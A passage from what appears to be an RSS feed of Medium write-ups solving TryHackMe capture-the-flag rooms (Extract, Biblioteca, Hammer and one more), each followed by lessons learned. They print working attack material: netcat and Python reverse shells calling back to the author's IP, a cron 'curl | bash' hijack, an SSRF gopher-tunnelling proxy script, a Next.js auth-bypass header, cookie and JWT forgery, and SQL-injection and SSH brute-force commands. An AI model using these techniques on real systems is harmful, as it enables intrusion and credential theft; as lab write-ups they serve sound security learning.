Chad’s password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ae_i3gzqihRTkTSn7OfYMg.png" /></figure><h3>🔄 Horizontal Privilege Escalation</h3><h3>1. Bob-Boba via Cronjob</h3><p>While enumerating notsus, I noticed a <strong>cronjob</strong> executing:</p><pre>curl cherryontop.tld:8000/home/bib-boba/coinflip.sh | bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5EF4kqV2AEwRCRZPfvCag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JMDrjhc4D7Xx0rUJo1Cl9Q.png" /></figure><p>If I could spoof DNS for cherryontop.tld, I could serve a malicious script.</p><p>I added to /etc/hosts:</p><pre>10.17.121.190 cherryontop.tld</pre><p>Then created the required directory &amp; file locally:</p><pre>mkdir -p /home/bib-boba/<br>nano /home/bib-boba/coinflip.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AgZ8iuMTlzoUg5GrDwJ36A.png" /></figure><p>Inserted reverse shell:</p><pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.17.121.190 1234 &gt;/tmp/f</pre><p>Started servers:</p><pre>python3 -m http.server 8000<br>nc -lvnp 1234</pre><p>Waited → cronjob executed → got reverse shell as <strong>bib-boba</strong> ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mS_FHS1oz8OXggmD0f8KOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPnbtMfy3dr81wmA37aFbA.png" /></figure><p>I also found <strong>third part of Chad’s password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kuENZNVTwpDgPHkgXpAs1g.png" /></figure><h3>2. Sam-Sprinkles via Content.php Trick</h3><p>We had content.php which took a username encoded in <strong>base32</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDErVM5Z-m8KlLEJ0OK1jA.png" /></figure><p>Tried with sam-sprinkles encoded:</p><pre>ONQW2LLTOBZGS3TLNRSXG=== (base32 output)</pre><p>Automated with Caido up to 1000 requests → eventually leaked <strong>Sam’s password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtIDxxuyKZI46Gq91VCQ4g.png" /></figure><p>Logged in as <strong>sam-sprinkles</strong> → found <strong>second part of Chad’s password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iel-JS6sg6eS7rGkJVJqIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m27yED2C5-q_xcMgZ_724g.png" /></figure><h3>3. Chad’s Full Password</h3><p>At this point:</p><ul><li>Molly → Part 1 of Chad’s password</li><li>Sam → Part 2</li><li>Bob-Boba → via cron → Part 3</li></ul><p>I combined all 3 parts into one string → used it for SSH:</p><pre>ssh chad@cherryontop.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRWWOCKPs_-Cde8Z4vyJ4Q.png" /></figure><p>Login successful ✅</p><p>Found Chad’s flag in home dir.</p><h3>🔝 Vertical Privilege Escalation → Root</h3><p>In Chad’s directory:</p><ul><li>Found rootpassword.wav</li><li>It supposedly contained root password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hg1NM2B5_cKwTyoi5V5Usg.png" /></figure><p>Downloaded to local machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VIwJmEcWgeBWpWzolY8QQg.png" /></figure><pre>scp chad@cherryontop.thm:/home/chad/rootpassword.wav .</pre><p>Tried <strong>Exiftool</strong> &amp; <strong>Binwalk</strong> → nothing useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Oho__FRE5SRC7ABrWhUrg.png" /></figure><p>Googled → found articles about <a href="https://sumit-arora.medium.com/audio-steganography-the-art-of-hiding-secrets-within-earshot-part-2-of-2-c76b1be719b3"><strong>Audio Steganography</strong></a><strong> (SSTV)</strong>.</p><p>Tool: <a href="https://github.com/colaclanth/sstv">sstv decoder</a></p><p>Installed &amp; ran:</p><pre>sstv -d rootpassword.wav -o result.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E91R1DQOxIJUNKU0RsUhlg.png" /></figure><p>This produced an <strong>image</strong> containing the <strong>root password</strong> (redacted).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*zOMzJEBgbVxMmbxcsm5zIg.png" /></figure><p>Logged in as root:</p><pre>ssh root@cherryontop.thm</pre><p>Got the <strong>Root Flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96KSQUfSQutMpbns0lbf8w.png" /></figure><h3>Lessons Learned (Short Version)</h3><ul><li>Never store credentials in predictable formats or across multiple accounts.</li><li>Avoid embedding passwords in files (e.g., audio, images).</li><li>Enforce strong passwords, MFA, account lockouts, and rate-limiting.</li><li>Cron jobs must be root-owned and non-writable.</li><li>Apply least privilege and proper file permissions.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58a5ec28c235" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Extract Writeup]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-extract-writeup-b029a625df5c?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b029a625df5c</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Sat, 06 Sep 2025 06:31:02 GMT</pubDate>
            <atom:updated>2025-09-06T06:31:02.535Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Level:</strong> Hard<br> <strong>Link:</strong> <a href="https://tryhackme.com/room/extract">Extract Room</a></p><h3>Enumeration</h3><p>I began with a <strong>fast port scan</strong> using Rustscan:</p><pre>rustscan -a 10.10.XX.XX</pre><p>Results:</p><pre>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p>So only <strong>SSH (22)</strong> and <strong>HTTP (80)</strong> are open. Next, I ran a <strong>detailed Nmap scan</strong> to fingerprint services:</p><pre>nmap -sT -A -p 22,80 10.10.XX.XX</pre><p>Results:</p><pre>22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))<br>|_http-title: TryBookMe - Online Library</pre><p>So the web server is Apache, serving a site named <strong>TryBookMe — Online Library</strong>.</p><h3>Web Enumeration</h3><p>Visiting http://extract.thm in the browser, I saw a simple page listing <strong>two downloadable PDF files</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JH4quXiMFBKXkKiQftVXVA.png" /></figure><p>When clicking a PDF, I noticed in the browser dev tools → <strong>Network tab</strong>, the request looked like this:</p><pre>GET /preview.php?url=http://extract.thm/pdf/dummy.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w7B6gmGowKHaRDnGyZWS2A.png" /></figure><p>This suggested the application fetches external files via a <strong>URL parameter</strong> → possible <strong>SSRF (Server-Side Request Forgery)</strong>.</p><p>To confirm, I spun up a Python web server:</p><pre>python3 -m http.server 8000</pre><p>Then crafted a request:</p><pre>http://extract.thm/preview.php?url=http://MY_IP:8000/</pre><p>On my server logs, I received a hit → <strong>SSRF confirmed</strong> ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pq2l0_HGS_PGx3NURdNihw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BdhYStQJQEMGLHRnCFOR_Q.png" /></figure><h3>SSRF to Internal Service Discovery</h3><p>Since I had SSRF, I tested <strong>localhost services</strong>:</p><pre>http://extract.thm/preview.php?url=http://127.0.0.1/</pre><p>This revealed a <strong>management portal</strong> running internally (/management), which was otherwise blocked externally (403 Forbidden).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O27qI88qZAwstthfDKtSfg.png" /></figure><p>I also fuzzed using <strong>Caido</strong> for background service discovery. Eventually, I found <strong>another service on port 10000</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJrQ53PEzZ_5Kbgzph2K3A.png" /></figure><h3>Next.js Middleware Bypass</h3><p>Port 10000 hosted an <strong>API service</strong> (/customapi) but returned <strong>Not Authorized</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocb114C5v6rcqdUHyd19hQ.png" /></figure><p>Checking the source code of the main site, I saw references to a <strong>Next.js build version</strong>. After researching, I found a public write-up about a <strong>Next.js Middleware Authorization Bypass Vulnerability</strong>:</p><ul><li>Reference: <a href="https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass">ProjectDiscovery Blog</a></li></ul><p>The bypass works by adding this header:</p><pre>x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware</pre><p>But I couldn’t access port 10000 directly. So, I needed to tunnel requests via SSRF.</p><h3>Building an SSRF Gopher Proxy</h3><p>I wrote a custom Python proxy script. It:</p><ol><li>Listens locally on 127.0.0.1:4002.</li><li>Forwards requests through SSRF using <strong>gopher:// protocol</strong>.</li><li>Double-encodes payloads so the internal API can be queried.</li></ol><pre>#!/usr/bin/env python3<br><br>import socket<br>import requests<br>import urllib.parse<br>import threading<br>import argparse<br><br><br>def handle_client(conn, addr, target_host, host_to_proxy, port_to_proxy):<br>    with conn:<br>        data = conn.recv(65536)<br>        if not data:<br>            return<br>        # Double-encode payload<br>        double_encoded_data = urllib.parse.quote(urllib.parse.quote(data))<br>        target_url = (<br>            f&quot;http://{target_host}/preview.php?url=&quot;<br>            f&quot;gopher://{host_to_proxy}:{port_to_proxy}/_{double_encoded_data}&quot;<br>        )<br>        try:<br>            resp = requests.get(target_url, timeout=10)<br>            conn.sendall(resp.content)<br>        except Exception as e:<br>            print(f&quot;[!] Error forwarding request: {e}&quot;)<br>            conn.sendall(b&quot;Proxy error&quot;)<br><br><br>def main():<br>    parser = argparse.ArgumentParser(<br>        description=&quot;Python proxy for SSRF gopher tunneling&quot;<br>    )<br>    parser.add_argument(&quot;--lhost&quot;, required=True, help=&quot;Local listen host (e.g., 127.0.0.1)&quot;)<br>    parser.add_argument(&quot;--lport&quot;, type=int, required=True, help=&quot;Local listen port (e.g., 4002)&quot;)<br>    parser.add_argument(&quot;--target&quot;, required=True, help=&quot;Target host with SSRF (e.g., extract.thm)&quot;)<br>    parser.add_argument(&quot;--phost&quot;, required=True, help=&quot;Host to proxy to inside (e.g., 127.0.0.1)&quot;)<br>    parser.add_argument(&quot;--pport&quot;, type=int, required=True, help=&quot;Port to proxy to inside (e.g., 80)&quot;)<br><br>    args = parser.parse_args()<br><br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>        s.bind((args.lhost, args.lport))<br>        s.listen()<br>        print(f&quot;[*] Listening on {args.lhost}:{args.lport}, &quot;<br>              f&quot;proxying to {args.phost}:{args.pport} via {args.target}...&quot;)<br>        while True:<br>            conn, addr = s.accept()<br>            client_thread = threading.Thread(<br>                target=handle_client,<br>                args=(conn, addr, args.target, args.phost, args.pport),<br>                daemon=True,<br>            )<br>            client_thread.start()<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Usage example:</p><pre>python3 proxy.py --lhost 127.0.0.1 --lport 4002 --target extract.thm --phost 127.0.0.1 --pport 10000</pre><p>Now, visiting:</p><pre>http://127.0.0.1:4002/customapi</pre><p>Successfully returned the <strong>internal API response</strong> 🎉</p><p>This included:</p><ul><li>Internal <strong>flag</strong></li><li>Credentials for the management portal</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-lPzmZw9uKdYWz2g_FQoRw.png" /></figure><h3>Management Portal Login &amp; 2FA Bypass</h3><p>With valid creds, I logged into <a href="http://127.0.0.1:4002/management.">http://127.0.0.1:4002/management.</a></p><p>But there was <strong>2FA protection</strong>. Inspecting requests in Caido, I noticed an <strong>auth cookie</strong> was generated after login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RvJYzZl0xhhWKSMkBG3vg.png" /></figure><pre>O%3A9%3A%22AuthToken%22%3A1%3A%7Bs%3A9%3A%22validated%22%3Bb%3A1%3B%7D</pre><p>After URL decoding, it contained PHP serialized object:</p><pre>O:9:&quot;AuthToken&quot;:1:{s:9:&quot;validated&quot;;b:0;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mryU6I-bg27TvsRbv2A9mA.png" /></figure><p>I modified it to:</p><pre>O:9:&quot;AuthToken&quot;:1:{s:9:&quot;validated&quot;;b:1;}</pre><p>Re-encoded it and replaced the cookie value → sent request again → <strong>Admin access granted</strong> 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bVToga60RpzhJoEFj9kdcQ.png" /></figure><p>Inside, I retrieved the <strong>Admin Flag</strong>.</p><h3>Root Cause Summary</h3><ol><li><strong>Enumeration</strong> → Found web service + PDFs.</li><li><strong>SSRF</strong> → Abused /preview.php?url= parameter.</li><li><strong>Internal Access</strong> → Discovered hidden /management portal + API on port 10000.</li><li><strong>Next.js Auth Bypass</strong> → Accessed protected endpoints with special header.</li><li><strong>Proxy via SSRF (Gopher)</strong> → Pivoted into internal services.</li><li><strong>Privilege Escalation</strong> → JWT-like cookie tampering → Admin.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b029a625df5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Biblioteca — Detailed Walkthrough]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-biblioteca-detailed-walkthrough-9020cf8761e6?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9020cf8761e6</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Thu, 04 Sep 2025 06:20:58 GMT</pubDate>
            <atom:updated>2025-09-04T06:20:58.996Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Biblioteca — Detailed Walkthrough</h3><p><strong>Level:</strong> Medium<br><strong>Target:</strong> 10.201.33.116</p><h3>1) Enumeration</h3><h3>1.1 Quick port sweep (Rustscan)</h3><p>I began with a fast open-port discovery:</p><pre>rustscan -a 10.201.33.116</pre><p><strong>Result (key ports):</strong></p><pre>22/tcp   open  ssh<br>8000/tcp open  http-alt</pre><p>So there’s SSH (22) and a web app on 8000.</p><h3>1.2 Version &amp; service detection (Nmap)</h3><p>I targeted those two ports with service/version detection:</p><pre>nmap -sT -A -p 22,8000 10.201.33.116 -oN nmap.txt</pre><p><strong>Highlights:</strong></p><pre>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu<br>8000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)<br>http-title: Login<br>http-server-header: Werkzeug/2.0.2 Python/3.8.10</pre><p>This suggests a <strong>Flask</strong> app (Werkzeug is Flask’s development WSGI server).</p><h3>1.3 Tech fingerprint (httpx)</h3><p>I confirmed the stack with httpx:</p><pre>httpx -u http://Biblioteca.thm:8000 -td -title</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVXc8lBZMlBou4S8KqKShQ.png" /></figure><p><strong>Result:</strong></p><pre>[Login] [Flask:2.0.2,Python:3.8.10]</pre><p>✔️ Flask confirmed.</p><blockquote><em>Tip: If </em><em>Biblioteca.thm doesn’t resolve, add </em><em>10.201.33.116 Biblioteca.thm to </em><em>/etc/hosts.</em></blockquote><h3>1.4 App poke (manual)</h3><p>I browsed to http://Biblioteca.thm:8000/ and saw a <strong>Login</strong> page, plus a <strong>Signup</strong> link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0ZBb_auFZ1N_9TuU9dz2w.png" /></figure><ul><li>I registered a test account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Smgtvualpk5z83a5RByJoA.png" /></figure><ul><li>Logged in successfully… but only saw a <strong>“Welcome”</strong> message — no functionality/exposed features.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cruivJawzWCPpq9L01c_Lw.png" /></figure><p>So I started looking for hidden content.</p><h3>1.5 Content discovery (ffuf / feroxbuster)</h3><p>I ran directory brute force (both tools are fine; I used ffuf/ferox depending on mood):</p><pre>ffuf -u http://Biblioteca.thm:8000/FUZZ \<br>  -w /usr/local/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \<br>  -e php,txt,html -r</pre><p><strong>Nothing significant</strong> turned up. So I pivoted to <strong>testing the login workflow</strong> itself.</p><h3>1.6 Intercepting login (Caido/Burp) &amp; error-based clue</h3><p>I captured the <strong>login POST</strong> in my proxy.<br> When I tried some junk or quote characters in the username field, I got <strong>500 Internal Server Error</strong> responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zttRB72YDFDDrKUx8v1H0g.png" /></figure><p>That’s a hint of <strong>server-side exception</strong> — often a sign of <strong>SQL injection</strong>. So i excuted the sql query and i was succesfully and was logged in as user “smoky”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5RKS0MM979_9ykLraPWXA.png" /><figcaption>confirmed SQL injection</figcaption></figure><h3>1.7 SQL automation (sqlmap)</h3><p>I saved the raw intercepted login request as request.txt and asked <strong>sqlmap</strong> to test the username parameter:</p><pre>sqlmap -r request.txt -p username --dbs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euBUUvOLgShYG3ceeKj-9w.png" /></figure><p><strong>It worked</strong> — sqlmap enumerated databases:</p><pre>available databases [3]:<br>[*] information_schema<br>[*] performance_schema<br>[*] website</pre><p>Then I dumped the interesting tables/columns (user data):</p><pre>sqlmap -r request.txt -p username -D website --tables<br>sqlmap -r request.txt -p username -D website -T users --dump</pre><p><strong>Dump (User table):</strong></p><pre>+----+-------------------+------------+----------+<br>| id | email             | password   | username |<br>+----+-------------------+------------+----------+<br>| 1  | smokey@email.boop | &lt;redacted&gt; | smokey   |<br>| 2  | tes@gmail.com     | &lt;redacted&gt; | test     |<br>+----+-------------------+------------+----------+</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UTQFxngfhQZe8JloWClJmg.png" /></figure><blockquote><em>Why this matters: Credentials were stored </em><strong><em>in plaintext</em></strong><em> (bad practice). Even if the app did nothing interesting post-login, these creds are gold for </em><strong><em>password reuse</em></strong><em> attempts (SSH).</em></blockquote><h3>2) Foothold (SSH with reused creds)</h3><p>I tried <strong>SSH</strong> with the dumped smokey creds:</p><pre>ssh smokey@10.201.33.116<br># password: &lt;redacted&gt;</pre><p>✅ <strong>Success</strong>. I had a shell as smokey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ybkkv_I1DLToaD8ItZhJjw.png" /></figure><h3>3) Horizontal Privilege Escalation (to hazel)</h3><h3>3.1 Local recon</h3><p>I checked local users:</p><pre>cat /etc/passwd | grep /bin/bash</pre><p>Saw:</p><pre>root<br>hazel<br>ubuntu<br>smokey</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FK4YheXwCCOIfSqieRoWVw.png" /></figure><p>I ran my usual manual checks (home dirs, crons, SUIDs, services). Also tried <strong>linpeas</strong> — still <strong>no obvious misconfigs</strong> for smokey.</p><p>So, I tried a <strong>targeted SSH brute-force</strong> for hazel (room level is Medium; this is commonly intended):</p><pre>hydra -l hazel -P /usr/share/wordlists/rockyou.txt ssh://10.201.33.116 -t 4 -I -f</pre><p>After a short run, <strong>Hydra found valid credentials</strong> for hazel:</p><pre>[22][ssh] host: 10.201.33.116  login: hazel  password: &lt;redacted&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PattffvhbW959tBv_IyxDw.png" /></figure><p>I switched user:</p><pre>su - hazel<br># or: ssh hazel@10.201.33.116  (password: &lt;redacted&gt;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RuCCKCwbi1pnAmslCg-_-w.png" /></figure><p>✅ Logged in as <strong>hazel</strong> and grabbed the <strong>user flag</strong>.</p><blockquote><em>Tip: Prefer </em><em>su - when you’re already on box; otherwise SSH fresh.</em></blockquote><h3>4) Vertical Privilege Escalation (hazel → root)</h3><h3>4.1 Sudo privileges</h3><p>I checked sudoers:</p><pre>sudo -l</pre><p><strong>Key output (representative):</strong></p><pre>User hazel may run the following commands on biblioteca:<br>    (root) NOPASSWD: SETENV: /usr/bin/python3 /home/hazel/hasher.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uUlyjlnItfNSywXWypbv2g.png" /></figure><p>This is juicy:</p><ul><li><strong>NOPASSWD</strong> → no password needed.</li><li><strong>SETENV</strong> → I can <strong>control environment variables</strong> (like PYTHONPATH).</li><li>The allowed command imports <strong>Python modules</strong>, so <strong>Python library hijacking</strong> is in play.</li></ul><h3>4.2 Read the script we can run as root</h3><pre>cat /home/hazel/hasher.py</pre><p>It was a simple script that <strong>imports </strong><strong>hashlib</strong> and hashes input (exact content doesn’t matter—what matters is that it <strong>imports</strong> hashlib).</p><h3>4.3 Plan: Python Library Hijack</h3><p>Because sudo allows SETENV, I can <strong>point </strong><strong>PYTHONPATH to a directory I control</strong>.<br> If I place a <strong>malicious </strong><strong>hashlib.py</strong> in that directory, Python will import <strong>my</strong> module instead of the real one when running:</p><pre>sudo PYTHONPATH=/tmp /usr/bin/python3 /home/hazel/hasher.py</pre><p>That means my code runs <strong>as root</strong>.</p><blockquote><a href="https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8"><em>Reference technique</em></a><em>: “Python library hijacking” (abusing import order + </em><em>PYTHONPATH).</em></blockquote><h3>4.4 Create malicious hashlib.py</h3><p>I first looked up where the real one lives (not essential, just curiosity):</p><pre>find / -name &quot;hashlib.py&quot; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTUyb5aMRLPW_Mg_VvtoRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qSekGi7LkQMengEhMoJGdA.png" /></figure><p>Then I crafted a malicious replacement in /tmp/hashlib.py:</p><pre>import socket,subprocess,os,pty<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((&quot;10.17.121.190&quot;, 4443))   # &lt;-- your IP / port<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1)<br>os.dup2(s.fileno(),2)<br>pty.spawn(&quot;sh&quot;)<br>PY</pre><p>Set up a listener on my box:</p><pre>nc -lvnp 4443</pre><h3>4.5 Trigger the import (as root)</h3><p>Now I ran the <strong>sudo-allowed</strong> command but <strong>with my PYTHONPATH</strong>:</p><pre>sudo PYTHONPATH=/tmp /usr/bin/python3 /home/hazel/hasher.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g5CHVZLTn9jil6TAppzcyQ.png" /></figure><blockquote>Because hasher.py imports hashlib, <strong>Python loaded </strong><strong>/tmp/hashlib.py</strong> first (due to PYTHONPATH precedence), and my reverse shell connected <strong>as root</strong>.</blockquote><p>On my listener:</p><pre>connect to [10.17.121.190] from (UNKNOWN) [10.201.33.116] 4443<br># whoami<br>root<br># id<br>uid=0(root) gid=0(root) groups=0(root)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fX6JlewMLVxlzBQAahJZFw.png" /></figure><p>Grabbed the <strong>root flag</strong>:</p><pre>cat /root/root.txt</pre><p><strong>Root achieved.</strong></p><h3>Lessons Learned</h3><ul><li>Never store passwords in <strong>plaintext</strong>; always hash with a strong algorithm + unique salt.</li><li>Validate and sanitize <strong>all</strong> user input — parameterize your queries to prevent SQLi.</li><li>Apply <strong>account lockout / rate limits</strong> to reduce brute-force risk.</li><li>Keep <strong>sudo rules</strong> minimal: avoid NOPASSWD + SETENV on anything that imports modules.</li><li>Python on sudo? Be aware of <strong>PYTHONPATH hijacking</strong> and import order.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9020cf8761e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Hammer — Detailed Walkthrough]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-hammer-detailed-walkthrough-f4e58c0fa7a6?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4e58c0fa7a6</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 15:51:53 GMT</pubDate>
            <atom:updated>2025-09-03T15:51:53.392Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Hammer — Detailed Walkthrough</h3><p>🔗 Room link: <a href="https://tryhackme.com/room/hammer">https://tryhackme.com/room/hammer</a></p><h3>Enumeration</h3><p>I started with a basic <strong>Nmap scan</strong> to discover open services on the target machine:</p><pre>nmap -sT -A -p- -oN nmap_full.txt 10.201.95.36</pre><p>From the output, I noticed only two ports were open:</p><pre>22/tcp   open  ssh     OpenSSH 8.2p1 (Ubuntu)<br>1337/tcp open  http    Apache httpd 2.4.41 (Ubuntu)</pre><ul><li><strong>Port 22 (SSH)</strong> — typical secure shell service, but no credentials yet.</li><li><strong>Port 1337 (HTTP)</strong> — running Apache with a login page.</li></ul><p>To confirm technologies, I ran <strong>httpx</strong>:</p><pre>httpx -u http://10.201.95.36:1337 -td -title</pre><p>Result:</p><pre>http://10.201.95.36:1337 [Login] [Apache 2.4.41, Bootstrap, PHP, Ubuntu]</pre><p>This told me the site is using <strong>PHP</strong>, Bootstrap frontend, and is served via Apache.</p><h3>Web Enumeration — Port 1337</h3><p>Visiting http://10.201.95.36:1337 showed a <strong>login page</strong> with options to reset password using an email.</p><p>I ran <strong>feroxbuster</strong> for hidden directories:</p><pre>feroxbuster -u http://10.201.95.36:1337 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -r -x php,txt,html</pre><p>It revealed some potential directories including:</p><ul><li>phpmyadmin/</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psyBlmZlZL1S_9lQqSht_A.png" /></figure><ul><li>hmr_*.log (hinted in source comments)</li></ul><p>When checking the page source, I noticed a hint about prefixing directories with hmr_.</p><p>So I ran <strong>ffuf</strong> with that in mind:</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.201.95.36:1337/hmr_FUZZ</pre><p>This revealed a <strong>log file</strong> containing a potential email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1QL1A__e7LfM8j_Ws1q0g.png" /></figure><h3>Login / Reset Password Functionality</h3><p>Since the room description hinted at <strong>authentication flaws</strong>, I tested the <strong>reset password</strong> function.</p><ul><li>When entering a random email → error: <em>“Please enter valid email.”</em></li><li>Using the email found in the log → the application attempted to send an <strong>OTP</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWZmhFV7yvJyL3v0IhKBhw.png" /></figure><p>I intercepted the request in my proxy (Caido/Burp).<br>Key observations:</p><ul><li>The OTP request contained a <strong>time parameter</strong> (200 seconds expiry).</li><li>Modifying this didn’t help, because validation was done server-side.</li><li>After some failed OTPs, I hit a <strong>rate limit</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ixsln3w50qyZ674pQ4ezbA.png" /></figure><p>To bypass rate-limiting, I added a fake header:</p><pre>X-Forwarded-For: 127.0.0.1</pre><p>This tricked the application into thinking I was localhost.<br>Now, I could brute-force the OTP using Intruder (Caido).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xv83Ukh2ACj8WnKgI9-XHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Car2YFIT5Hn-GmGLLgWQzA.png" /></figure><p>After a short attack, I successfully guessed the OTP → reset the password → logged into the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDQFxYfdAoej62cmpiU-Gw.png" /></figure><p>🎉 <strong>Foothold achieved!</strong><br>At this point, I also retrieved the first flag inside the user dashboard.</p><h3>Foothold — Post-Login</h3><p>The dashboard contained:</p><ul><li>An <strong>input field</strong> that accepted commands (but restricted).</li><li>A session using both <strong>cookie (PHPSESSID)</strong> and a <strong>JWT authorization token</strong>.</li></ul><p>Testing commands:</p><ul><li>ls worked and displayed files.</li><li>Most other commands returned <em>“Not allowed”</em>.</li></ul><p>From enumeration, I found an interesting <strong>.key file</strong> containing a potential secret key.</p><h3>Privilege Escalation — JWT Manipulation</h3><p>I inspected the <strong>JWT token</strong> using <a href="https://jwt.io/">jwt.io</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32e5VH0dT1-OHvJ61QrY3w.png" /></figure><p>It revealed:</p><ul><li><strong>role: user</strong></li><li><strong>kid</strong> (key ID): /var/www/html/188ade1.key</li><li>Signed with <strong>HS256</strong>.</li></ul><p>I suspected the .key file I found earlier was the signing secret.</p><p>So I wrote a Python script to forge a new token:</p><pre>import jwt</pre><pre>secret=&quot;REDACTED&quot;   # discovered secret key</pre><pre>payload= {<br>  &quot;iss&quot;: &quot;http://hammer.thm&quot;,<br>  &quot;aud&quot;: &quot;http://hammer.thm&quot;,<br>  &quot;iat&quot;: 